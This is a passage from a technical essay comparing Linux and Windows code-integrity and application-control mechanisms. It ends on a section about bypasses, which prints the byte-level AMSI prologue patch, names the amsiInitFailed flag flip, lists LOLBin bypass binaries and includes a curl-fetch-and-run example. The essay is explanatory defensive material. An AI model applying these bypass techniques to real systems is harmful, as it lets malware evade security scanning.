&lt;h3&gt;IMA-appraise (Linux 3.7, December 2012): from observation to enforcement&lt;/h3&gt;
&lt;p&gt;The merge cadence on the kernel side is itself part of the story. Measurement-only IMA shipped in 2.6.30 in 2009. EVM merged in 3.2 in January 2012. EVM digital signatures merged in 3.3 in March 2012. IMA-appraise, which finally lets the kernel return &lt;code&gt;-EPERM&lt;/code&gt; on a hash mismatch, merged in Linux 3.7 in December 2012 [@lwn-net-articles-488906]. Three and a half years from &quot;we hash files&quot; to &quot;we refuse to run files that fail the hash&quot;. The gap was not engineering laziness; it was the time it took to design and merge the boundary-strengthening pieces that made enforcement safe to enable.&lt;/p&gt;
&lt;h3&gt;HVCI / Memory Integrity (Windows 10 1607, August 2016): the secure kernel&lt;/h3&gt;
&lt;p&gt;Windows took the equivalent step four years later, but at a different layer. Virtualization-Based Security (VBS) [@learn-microsoft-com-oem-vbs] splits Windows into Virtual Trust Level 0 -- the normal kernel everyone has been writing rootkits for since 1993 -- and Virtual Trust Level 1, a small &lt;a href=&quot;https://paragmali.com/blog/the-windows-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;secure kernel&lt;/a&gt; hosted by Hyper-V. The kernel-mode Code Integrity check that gates loading of every driver is moved into VTL1. A VTL0 attacker with full SYSTEM, even one who has loaded a malicious driver, cannot patch the VTL1 verifier; they cannot even read its memory.&lt;/p&gt;

Windows&apos; Hyper-V-rooted split that puts a small secure kernel in VTL1, isolated from the normal Windows kernel (VTL0) by the hypervisor. Hypervisor-protected Code Integrity (HVCI), exposed in Windows Settings as &quot;Memory integrity&quot;, uses VTL1 to host the kernel-mode code-integrity check, so a VTL0 attacker with SYSTEM cannot patch the verifier or downgrade its policy.
&lt;p&gt;Microsoft&apos;s HVCI documentation [@learn-microsoft-com-oem-vbs] frames the W^X invariant HVCI enforces on kernel pages: &quot;memory integrity ... protects and hardens Windows by running kernel mode code integrity within the isolated virtual environment of VBS ... ensuring that kernel memory pages are only made executable after passing code integrity checks inside the secure runtime environment, and executable pages themselves are never writable.&quot; A kernel page can be writable or executable; never both at the same time. The split is enforced by the hypervisor.&quot;HVCI&quot;, &quot;Memory Integrity&quot;, and &quot;kernel-mode code integrity running in VBS&quot; are the same mechanism. Microsoft&apos;s product-name churn here is unusually thick: the Windows Settings UI calls it Memory Integrity, the documentation page is titled &quot;Enable virtualization-based protection of code integrity&quot;, the underlying capability is HVCI, and Microsoft also markets the same hardware-and-software bundle as &quot;Secured-Core PC&quot;.&lt;/p&gt;

flowchart TD
  subgraph VTL0[VTL0: normal Windows kernel]
    P[User process]
    DRV[Driver load request]
    RK[Hypothetical rootkit with SYSTEM]
    K0[NT kernel]
    P --&amp;gt; K0
    DRV --&amp;gt; K0
    RK --&amp;gt; K0
  end
  K0 --&amp;gt;|hypercall: verify driver| HV[Hypervisor]
  RK -.X.-&amp;gt; SK
  HV --&amp;gt; SK
  subgraph VTL1[VTL1: secure kernel]
    SK[Secure kernel]
    CI[Kernel-mode CI verifier]
    SK --&amp;gt; CI
  end
  CI --&amp;gt;|allow / deny| HV
  HV --&amp;gt;|result| K0
&lt;h3&gt;IPE (Linux 6.12, November 2024): property-based decisions&lt;/h3&gt;
&lt;p&gt;The most recent Linux pivot moves further still. Integrity Policy Enforcement [@docs-kernel-org-lsm-ipehtml], upstreamed in Linux 6.12 in November 2024 from a Microsoft-contributed patch series (source on GitHub [@github-com-microsoft-ipe]), does not hash files at all. Its kernel documentation is explicit: &quot;Integrity Policy Enforcement (IPE) is a Linux Security Module that takes a complementary approach to access control. Unlike traditional access control mechanisms that rely on labels and paths for decision-making, IPE focuses on the immutable security properties inherent to system components.&quot; A policy rule looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;op=EXECUTE dmverity_signature=TRUE dmverity_roothash=sha256:&amp;lt;hex&amp;gt; action=ALLOW
op=EXECUTE fsverity_signature=TRUE action=ALLOW
op=EXECUTE action=DENY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The kernel is not asked &quot;what is the SHA-256 of this file?&quot; at &lt;code&gt;op=EXECUTE&lt;/code&gt; time. It is asked &quot;did this file come from a dm-verity device whose root hash matches one of our trusted signatures?&quot; The verifier has nothing to compute per access; it has only to read a pre-computed property. The trust boundary has moved out to whoever signed the dm-verity image at build time.&lt;/p&gt;
&lt;h3&gt;fs-verity (Linux 5.4, November 2019): O(log n) per page&lt;/h3&gt;
&lt;p&gt;The cryptographic complement is fs-verity [@kernel-org-filesystems-fsverityhtml], upstreamed in Linux 5.4 in November 2019 by Eric Biggers and Theodore Ts&apos;o at Google. The kernel docs describe the trick: &quot;fs-verity is similar to dm-verity but works on files rather than block devices ... userspace can execute an ioctl that causes the filesystem to build a Merkle tree for the file and persist it to a filesystem-specific location ... Userspace can use another ioctl to retrieve the root hash ... in constant time, regardless of the file size.&quot;&lt;/p&gt;
&lt;p&gt;The Merkle tree turns whole-file hashing into O(log n) verification per page read, with constant-time digest retrieval. Concretely, an APK or container layer with thousands of pages does not need a full hash on first open; the page cache verifies the leaves and intermediate Merkle nodes only for the pages actually touched. IMA can consume fs-verity&apos;s digest directly through the &lt;code&gt;digest_type=verity&lt;/code&gt; modifier in its policy language.&lt;/p&gt;

The breakthrough was not a stronger check. It was moving the check out of the attacker&apos;s address space.
&lt;p&gt;Each pivot moved the trust boundary outward in a different direction. EVM moved the integrity root from &quot;xattr next to the file&quot; to &quot;HMAC-keyed xattr, key sealed to TPM PCRs&quot;. HVCI moved the kernel-mode verifier from &quot;in the kernel the attacker can patch&quot; to &quot;in a secure kernel the attacker cannot reach without breaking the hypervisor&quot;. IPE moved the per-access decision from &quot;recompute a file&apos;s hash&quot; to &quot;look up a precomputed property&quot;. Fs-verity collapsed the per-access cost from O(n) on the file to O(log n) on a Merkle path.&lt;/p&gt;
&lt;p&gt;The crypto was already strong. The breakthrough was the geometry of where the verifier lived.&lt;/p&gt;
&lt;p&gt;By 2020 both stacks looked dramatically different from their 2009 and 2015 originals. Here is what each one looks like today, side by side.&lt;/p&gt;
&lt;h2&gt;6. The stack today, side by side&lt;/h2&gt;
&lt;p&gt;Eleven moving parts. Here is how they line up.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Linux&lt;/th&gt;
&lt;th&gt;Windows&lt;/th&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;IMA appraise + EVM&lt;/td&gt;
&lt;td&gt;App Control (WDAC) UMCI&lt;/td&gt;
&lt;td&gt;User-mode code integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kernel module signing&lt;/td&gt;
&lt;td&gt;App Control + HVCI driver enforcement&lt;/td&gt;
&lt;td&gt;Kernel-mode code integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fs-verity + dm-verity&lt;/td&gt;
&lt;td&gt;HVCI page-level W^X + signed catalogues&lt;/td&gt;
&lt;td&gt;Page-level integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AppArmor / SELinux&lt;/td&gt;
&lt;td&gt;(no direct analogue; closest is AppContainer / ASR)&lt;/td&gt;
&lt;td&gt;Mandatory access control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fapolicyd&lt;/td&gt;
&lt;td&gt;App Control + AppLocker&lt;/td&gt;
&lt;td&gt;User-space allowlist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IPE&lt;/td&gt;
&lt;td&gt;App Control (FilePath / hash rules)&lt;/td&gt;
&lt;td&gt;Property-based code integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;(no direct analogue)&lt;/td&gt;
&lt;td&gt;AMSI&lt;/td&gt;
&lt;td&gt;Script content scan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;(no direct analogue)&lt;/td&gt;
&lt;td&gt;Smart App Control + ISG&lt;/td&gt;
&lt;td&gt;Cloud reputation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The mapping is not 1-to-1 in either direction. Linux composes; Windows consolidates. To compare meaningfully we have to look at each layer in turn.&lt;/p&gt;
&lt;h3&gt;6.1 Code-integrity enforcers: IMA + EVM vs WDAC vs IPE&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Linux IMA + EVM&lt;/th&gt;
&lt;th&gt;WDAC (App Control)&lt;/th&gt;
&lt;th&gt;IPE&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Enforcement layer&lt;/td&gt;
&lt;td&gt;VFS / LSM hook (file open, mmap, exec)&lt;/td&gt;
&lt;td&gt;PE loader (kernel CI, user-mode CI)&lt;/td&gt;
&lt;td&gt;LSM hook on &lt;code&gt;op=EXECUTE&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identity primitive&lt;/td&gt;
&lt;td&gt;File-content hash or &lt;code&gt;imasig&lt;/code&gt; / &lt;code&gt;modsig&lt;/code&gt; / &lt;code&gt;sigv3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Authenticode chain, hash, FilePath, or ISG&lt;/td&gt;
&lt;td&gt;dm-verity root hash / fs-verity digest&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Policy expression&lt;/td&gt;
&lt;td&gt;Procedural rules (&lt;code&gt;func=&lt;/code&gt; / &lt;code&gt;mask=&lt;/code&gt; / &lt;code&gt;fsmagic=&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Signed XML compiled to binary &lt;code&gt;.p7b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Signed plain-text DFA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worst-case per-access&lt;/td&gt;
&lt;td&gt;O(n) hash on first access; O(1) cached&lt;/td&gt;
&lt;td&gt;O(1) cached; O(n) hash on cache miss&lt;/td&gt;
&lt;td&gt;O(1) (properties precomputed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fail-closed mode&lt;/td&gt;
&lt;td&gt;Yes (appraise)&lt;/td&gt;
&lt;td&gt;Yes (enforced)&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Remote-attestation friendly&lt;/td&gt;
&lt;td&gt;Yes (TPM PCR 10)&lt;/td&gt;
&lt;td&gt;Indirect (Measured Boot logs)&lt;/td&gt;
&lt;td&gt;Indirect&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bypass arms race&lt;/td&gt;
&lt;td&gt;Whole-disk swap (countered by EVM key sealing)&lt;/td&gt;
&lt;td&gt;LOLBins (Microsoft block list + community LOLBAS)&lt;/td&gt;
&lt;td&gt;Limited surface (DFA-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The IMA policy ABI [@kernel-org-testing-imapolicy] documents the full rule grammar: &lt;code&gt;action [condition ...]&lt;/code&gt; where action is one of &lt;code&gt;measure | dont_measure | appraise | dont_appraise | audit | dont_audit | hash | dont_hash&lt;/code&gt;, and conditions select on &lt;code&gt;func=&lt;/code&gt;, &lt;code&gt;mask=&lt;/code&gt;, &lt;code&gt;fsmagic=&lt;/code&gt;, &lt;code&gt;fsuuid=&lt;/code&gt;, &lt;code&gt;uid=&lt;/code&gt;, &lt;code&gt;fowner=&lt;/code&gt;, LSM-label predicates, and the all-important &lt;code&gt;appraise_type=&lt;/code&gt; modifier that names the signature scheme. IMA template management [@docs-kernel-org-ima-templateshtml] controls &lt;em&gt;what&lt;/em&gt; gets recorded per measurement-list entry; the two templates used in practice today are &lt;code&gt;ima-ng&lt;/code&gt; (&lt;code&gt;d-ng|n-ng&lt;/code&gt;: hash-algo-prefixed digest plus name) and &lt;code&gt;ima-sigv2&lt;/code&gt; (&lt;code&gt;d-ngv2|n-ng|sig&lt;/code&gt;: versioned digest plus name plus signature).&lt;/p&gt;
&lt;p&gt;WDAC&apos;s policy rule reference [@learn-microsoft-com-to-create] defines the rule kinds operators actually write: Publisher, PcaCertificate, LeafCertificate, FileName, Version, Hash (SHA-1, SHA-256, or SHA-384), FilePath (added in 1903 and explicitly weaker because a user with write access can substitute the file), Managed Installer, and Intelligent Security Graph. The compiled output is a signed binary &lt;code&gt;.p7b&lt;/code&gt; CIPolicy.&lt;/p&gt;
&lt;p&gt;The same doc records the default-on audit-mode behaviour that has surprised many operators: &quot;We recommend that you use Enabled:Audit Mode initially because it allows you to test new App Control policies before you enforce them ... By default, only kernel-mode binaries are restricted. Enabling the following rule option validates user mode executables and scripts.&quot; The Enabled:UMCI flag is what flips a WDAC policy from kernel-only to full user-mode enforcement.&lt;/p&gt;

flowchart LR
  PE[PE load request] --&amp;gt; AC[Parse Authenticode signature]
  AC --&amp;gt; RM[Match rule set]
  RM --&amp;gt; P[Publisher / cert rule?]
  P --&amp;gt;|hit| AL[Allow]
  P --&amp;gt;|miss| H[Hash rule?]
  H --&amp;gt;|hit| AL
  H --&amp;gt;|miss| FP[FilePath rule?]
  FP --&amp;gt;|hit| AL
  FP --&amp;gt;|miss| MI[Managed Installer?]
  MI --&amp;gt;|hit| AL
  MI --&amp;gt;|miss| ISG[Intelligent Security Graph?]
  ISG --&amp;gt;|hit| AL
  ISG --&amp;gt;|miss| DEF[Default action]
  AL --&amp;gt; BL{&quot;In bypass-list deny?&quot;}
  BL --&amp;gt;|yes| BLK[Block]
  BL --&amp;gt;|no| LOAD[Loader continues]
  DEF --&amp;gt; BLK
&lt;h3&gt;6.2 Mandatory access control: AppArmor vs SELinux&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;AppArmor&lt;/th&gt;
&lt;th&gt;SELinux&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Model&lt;/td&gt;
&lt;td&gt;Path-based allowlist per binary&lt;/td&gt;
&lt;td&gt;Type-enforcement on subject x object x class&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Storage of policy state&lt;/td&gt;
&lt;td&gt;In-memory DFA loaded from user space&lt;/td&gt;
&lt;td&gt;&lt;code&gt;security.selinux&lt;/code&gt; xattr + compiled &lt;code&gt;policy.31&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Granularity&lt;/td&gt;
&lt;td&gt;Profile per executable&lt;/td&gt;
&lt;td&gt;Per-type, per-class, per-operation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Survives file rename&lt;/td&gt;
&lt;td&gt;No (path is the identity)&lt;/td&gt;
&lt;td&gt;Yes (xattr travels with inode)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default-on distros&lt;/td&gt;
&lt;td&gt;Ubuntu, openSUSE, SLES&lt;/td&gt;
&lt;td&gt;RHEL, Fedora, Oracle Linux, Android, ChromeOS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authoring tools&lt;/td&gt;
&lt;td&gt;&lt;code&gt;aa-genprof&lt;/code&gt;, &lt;code&gt;aa-logprof&lt;/code&gt;, &lt;code&gt;aa-enforce&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;audit2allow&lt;/code&gt;, &lt;code&gt;semodule&lt;/code&gt;, refpolicy, &lt;code&gt;udica&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;AppArmor&apos;s kernel documentation [@docs-kernel-org-lsm-apparmorhtml] describes the model directly: &quot;AppArmor is MAC style security extension for the Linux kernel. It implements a task centered policy, with task &apos;profiles&apos; being created and loaded from user space.&quot; A profile reads like a rule file rather than a label algebra:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/sbin/nginx {
  capability net_bind_service,
  /etc/nginx/** r,
  /var/log/nginx/* w,
  /var/www/** r,
  network inet stream,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The kernel compiles each profile to a DFA at load time, so policy lookup is O(L) in path length. SELinux&apos;s compiled policy uses a hash-table query against compiled type-enforcement rules with an in-memory access-vector cache for O(1) hot decisions. Both are practical; they differ on which model fits the way an administrator thinks. AppArmor wins on auditability and quick authoring; SELinux wins on expressiveness and on what the Wikipedia summary [@en-wikipedia-org-security-enhancedlinux] calls Mandatory Access Control for multi-level security. Smack [@schaufler-ca-com] is a third in-tree LSM, simpler than SELinux, used heavily by Tizen.&lt;/p&gt;

Red Hat&apos;s `fapolicyd` is the answer for operators who want App Control-style allowlisting without rebuilding the kernel. Trust is inherited from the RPM database; the daemon sits on the kernel&apos;s `fanotify` permission channel and answers ALLOW or DENY on every `open` and `exec`. Per the RHEL hardening guide [@access-redhat-com-fapolicydsecurity-hardening], rule files in `/etc/fapolicyd/rules.d/` are concatenated in lexicographic order into `compiled.rules`. The Red Hat-shipped numbered prefixes are 10 (language interpreters), 20 (dracut), 21 (updaters), 30 (patterns), 40/41/42 (ELF), 70 (trusted languages), 72 (shell), 90 (deny-execute), 95 (allow-open). First-match-wins evaluation means operators adding custom rules must give their file a number lower than 90 to ensure their `allow` is reached before the catch-all deny.
&lt;h3&gt;6.3 Hypervisor-anchored CI: HVCI&lt;/h3&gt;
&lt;p&gt;HVCI&apos;s runtime cost is dominated by the hypercall round-trip from VTL0 to VTL1 on driver load and on each executable-page allocation. Steady-state overhead is small on hardware with the right capabilities.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s HVCI documentation [@learn-microsoft-com-code-integrity] names the dependency: &quot;Memory integrity works better with Intel Kabylake and higher processors with Mode-Based Execution Control, and AMD Zen 2 and higher processors with Guest Mode Execute Trap capabilities. Older processors rely on an emulation of these features, called Restricted User Mode, and will have a bigger impact on performance.&quot; Practitioner-visible rule of thumb: less than 5 percent overhead on MBEC/GMET-capable silicon, 10 to 20 percent on kernel-bound workloads when the CPU has to emulate.&lt;/p&gt;
&lt;p&gt;HVCI hardware prerequisites per the OEM VBS guidance [@learn-microsoft-com-oem-vbs]: 64-bit CPU with virtualization extensions (VT-x or AMD-V), second-level address translation (EPT or RVI), an IOMMU (VT-d or AMD-Vi), TPM 2.0, UEFI MAT, Secure MOR v2, and ideally MBEC (Intel) or GMET (AMD).&lt;/p&gt;
&lt;h3&gt;6.4 Script-level inspection: AMSI vs Linux&apos;s gap&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;AMSI&lt;/th&gt;
&lt;th&gt;Linux IMA on scripts&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;What it sees&lt;/td&gt;
&lt;td&gt;Deobfuscated script buffer at execution time&lt;/td&gt;
&lt;td&gt;Whole-file content at &lt;code&gt;open&lt;/code&gt; or &lt;code&gt;mmap&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Coverage&lt;/td&gt;
&lt;td&gt;PowerShell, WSH, VBA, JScript, MSHTA, UAC installers, .NET, Edge&lt;/td&gt;
&lt;td&gt;Any file whose &lt;code&gt;func=FILE_CHECK&lt;/code&gt; rule matches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Provider model&lt;/td&gt;
&lt;td&gt;COM &lt;code&gt;IAntimalwareProvider&lt;/code&gt; per process&lt;/td&gt;
&lt;td&gt;None; kernel verifies signature directly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defends against runtime obfuscation&lt;/td&gt;
&lt;td&gt;Yes (sees final buffer)&lt;/td&gt;
&lt;td&gt;No (sees file as written)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust boundary&lt;/td&gt;
&lt;td&gt;Wrong (in-process; patchable by attacker)&lt;/td&gt;
&lt;td&gt;Right (kernel-side; attacker cannot patch)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The asymmetry is the point. AMSI sees what the interpreter is about to evaluate; IMA sees only what is on disk. AMSI catches in-memory PowerShell payloads, Office macros that decode themselves at runtime, and &lt;code&gt;Invoke-Expression&lt;/code&gt; evaluations that never touched the filesystem. IMA&apos;s hash is final at file write time and tells you exactly nothing about what &lt;code&gt;bash -c &quot;$(curl evil)&quot;&lt;/code&gt; will execute.&lt;/p&gt;

The reduced PowerShell language mode App Control forces on systems with UMCI enabled. It blocks reflection (the `[System.Reflection]` namespace), dynamic-type creation, and arbitrary .NET API calls. It is the runtime-side complement to App Control: even if a script gets in, its evaluation surface is dramatically reduced. This is also what makes the `amsiInitFailed` flag-flip bypass non-trivial under modern App Control: the reflection needed to set the flag is blocked.
&lt;h3&gt;6.5 Cloud reputation: Smart App Control&lt;/h3&gt;
&lt;p&gt;Smart App Control [@learn-microsoft-com-business-appcontrol] ships as a pre-baked WDAC policy bundled with Windows 11 22H2 and later. The App Control overview describes it as the consumer-facing entry point introduced in Windows 11 version 22H2 to bring application control to home users. On every fresh install SAC starts in &lt;em&gt;evaluation&lt;/em&gt; mode for 48 hours. Microsoft&apos;s cloud reputation service silently observes the user&apos;s app inventory; on enterprise-managed devices SAC auto-disables at the end of the window unless the user explicitly opts in. Once disabled by user, policy, or the auto-disable rule, it can only be re-enabled by performing a clean install of Windows. A Settings &amp;gt; Reset This PC is not sufficient.&lt;/p&gt;

Three quirks operators must understand. First, evaluation lasts 48 hours and is silent. Second, enterprise-managed (Intune, AAD-joined, GPO-managed) devices auto-disable at evaluation end. Third, disable is one-way: there is no &quot;restart evaluation&quot; path. The intended deployment model is that enterprises use full App Control with a managed-installer policy, not SAC. Consumers with a small app footprint and no IT team get a cloud-driven allowlist for free; everyone else is expected to author a policy.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Once Smart App Control is off on a device, it can only be re-enabled by performing a clean install of Windows. A Settings &amp;gt; Reset This PC does not re-enable SAC. Treat enabling SAC as a deployment decision, not a casual toggle.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.6 fs-verity as the per-file Merkle layer&lt;/h3&gt;
&lt;p&gt;For the data-at-rest performance story, fs-verity&apos;s &lt;code&gt;ioctl(FS_IOC_ENABLE_VERITY)&lt;/code&gt; builds the Merkle tree, persists it next to the file, and switches the file to read-only. &lt;code&gt;FS_IOC_MEASURE_VERITY&lt;/code&gt; returns the digest in constant time. IMA&apos;s policy language gained &lt;code&gt;appraise_type=sigv3&lt;/code&gt; and the &lt;code&gt;digest_type=verity&lt;/code&gt; modifier so a rule like&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;appraise func=BPRM_CHECK fsmagic=0xef53 appraise_type=sigv3 digest_type=verity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;asks the filesystem for the file&apos;s fs-verity digest (O(1)) and verifies the kernel-stored signature over that digest, rather than re-hashing the file even on first access. Supported on ext4, f2fs, and btrfs.&lt;/p&gt;
&lt;p&gt;Eleven mechanisms, two architectures, one shared shape: an allowlist of trusted producers plus a hook that can refuse to honour anything outside it. The allowlist of producers is the deepest common assumption, and it is also where the next class of attacks lives.&lt;/p&gt;
&lt;h2&gt;7. Bypass arms races&lt;/h2&gt;
&lt;p&gt;Every code-integrity system on the market is in a continuous fight with the bypass it shipped with. The fights tell you what each architecture got wrong.&lt;/p&gt;
&lt;h3&gt;The AMSI bypass family&lt;/h3&gt;
&lt;p&gt;The three single-shot techniques from Section 4 -- prologue patch, &lt;code&gt;amsiInitFailed&lt;/code&gt; flag flip, library unload -- have all been answered by partial mitigations. Microsoft has hardened AMSI provider loading [@learn-microsoft-com-interface-portal] to require Authenticode-signed provider DLLs from Windows 10 1903 onward. Defender ships ETW-based detection that flags in-memory patches to &lt;code&gt;amsi.dll&lt;/code&gt;. Constrained Language Mode (forced by App Control) blocks the reflection needed to flip &lt;code&gt;AmsiUtils.amsiInitFailed&lt;/code&gt;. None of these closes the structural problem. AMSI is by design a function call inside the script host. As long as the host process is the trust boundary, the attacker who reaches the host process wins.&lt;/p&gt;

The trust boundary is wrong: the host process making the AMSI call is the same process the attacker is running in.

The simplest in-memory patch overwrites `AmsiScanBuffer`&apos;s prologue with a six-byte sequence that loads `AMSI_RESULT_CLEAN` (0) into EAX and returns:&lt;pre&gt;&lt;code&gt;xor eax, eax    ; 31 C0
ret             ; C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or, depending on the calling convention the patcher targets:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov eax, 0x80070057   ; B8 57 00 07 80   (HRESULT E_INVALIDARG)
ret                   ; C3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both variants are detected by modern Defender via the ETW patch detection, but neither requires kernel privileges or a syscall to apply.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;The WDAC LOLBin arms race&lt;/h3&gt;
&lt;p&gt;Microsoft&apos;s App Control bypass list [@learn-microsoft-com-bypass-appcontrol] is a maintained document that any non-trivial WDAC policy must merge into its deny rules. The 40-plus entries include &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Build.dll&lt;/code&gt;, &lt;code&gt;windbg.exe&lt;/code&gt;, &lt;code&gt;cdb.exe&lt;/code&gt;, &lt;code&gt;kd.exe&lt;/code&gt;, &lt;code&gt;dotnet.exe&lt;/code&gt;, &lt;code&gt;csi.exe&lt;/code&gt;, &lt;code&gt;rcsi.exe&lt;/code&gt;, &lt;code&gt;addinprocess.exe&lt;/code&gt;, &lt;code&gt;addinutil.exe&lt;/code&gt;, &lt;code&gt;aspnet_compiler.exe&lt;/code&gt;, &lt;code&gt;bash.exe&lt;/code&gt;, &lt;code&gt;wsl.exe&lt;/code&gt;, &lt;code&gt;runscripthelper.exe&lt;/code&gt;, &lt;code&gt;system.management.automation.dll&lt;/code&gt;, and &lt;code&gt;webclnt.dll&lt;/code&gt; / &lt;code&gt;davsvc.dll&lt;/code&gt;. The community LOLBAS index [@lolbas-project-github-io] widens the field to roughly 200 entries with MITRE ATT&amp;amp;CK technique IDs.&lt;/p&gt;
&lt;p&gt;Tooling (the WDAC Wizard, AaronLocker, Microsoft&apos;s &lt;code&gt;ConfigCI&lt;/code&gt; PowerShell module, &lt;code&gt;CiTool.exe&lt;/code&gt;) automates merging the deny set into a base policy and onto Intune. The asymmetry is the bottom line: trust granted at signer granularity, exploitation at binary granularity. The deny list is not a fix; it is a treadmill.&lt;/p&gt;

A trusted binary, often shipped by the OS vendor and signed by the vendor&apos;s code-signing certificate, that an attacker re-purposes to bypass an allowlist or to perform actions that would be blocked if attempted with non-vendor tooling. Examples on Windows: `mshta.exe` to evaluate HTA scripts, `regsvr32.exe` to execute a remote scriptlet, `installutil.exe` to run code via a designed-for-development assembly loader.
&lt;h3&gt;fapolicyd permissive-window&lt;/h3&gt;
&lt;p&gt;This is not a cryptographic bypass; it is the architectural choice (userspace daemon over &lt;code&gt;fanotify&lt;/code&gt;) showing its operational seam. A privileged operator who sets &lt;code&gt;permissive=1&lt;/code&gt; to debug a noisy rule and forgets to revert has silently disabled enforcement. If the daemon dies under load or after a bad rule deploy, the kernel waits for the fanotify response timeout and then fails open. There is no failsafe equivalent of HVCI&apos;s &quot;the verifier is in another address space&quot; guarantee.&lt;/p&gt;
&lt;h3&gt;IMA / EVM offline-key attacks&lt;/h3&gt;
&lt;p&gt;EVM is only as strong as its key custody. If the HMAC key is loaded from a file on disk (the worst-case configuration), an attacker with root on a running system can read it, then perform the offline-rewrite attack of Section 4 with a valid &lt;code&gt;security.evm&lt;/code&gt; HMAC. TPM-sealed keys close this path on hardware that supports sealing; some installations skip the seal step &quot;until we add a TPM&quot; and never do. Asymmetric (EVM portable signatures) mode avoids on-box key custody but requires a per-package signing pipeline most distributions have not built.&lt;/p&gt;
&lt;h3&gt;The cross-stack symmetry&lt;/h3&gt;
&lt;p&gt;Both lineages obey two architectural rules, and both have at least one place where they break each rule:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bypass class&lt;/th&gt;
&lt;th&gt;Linux instance&lt;/th&gt;
&lt;th&gt;Windows instance&lt;/th&gt;
&lt;th&gt;Root cause&lt;/th&gt;
&lt;th&gt;Partial mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Verifier shares address space with attacker&lt;/td&gt;
&lt;td&gt;(script interpreters; no in-kernel interpreter scanner)&lt;/td&gt;
&lt;td&gt;AMSI prologue patch, &lt;code&gt;amsiInitFailed&lt;/code&gt; flag flip&lt;/td&gt;
&lt;td&gt;Software-only protection of an in-process secret is impossible&lt;/td&gt;
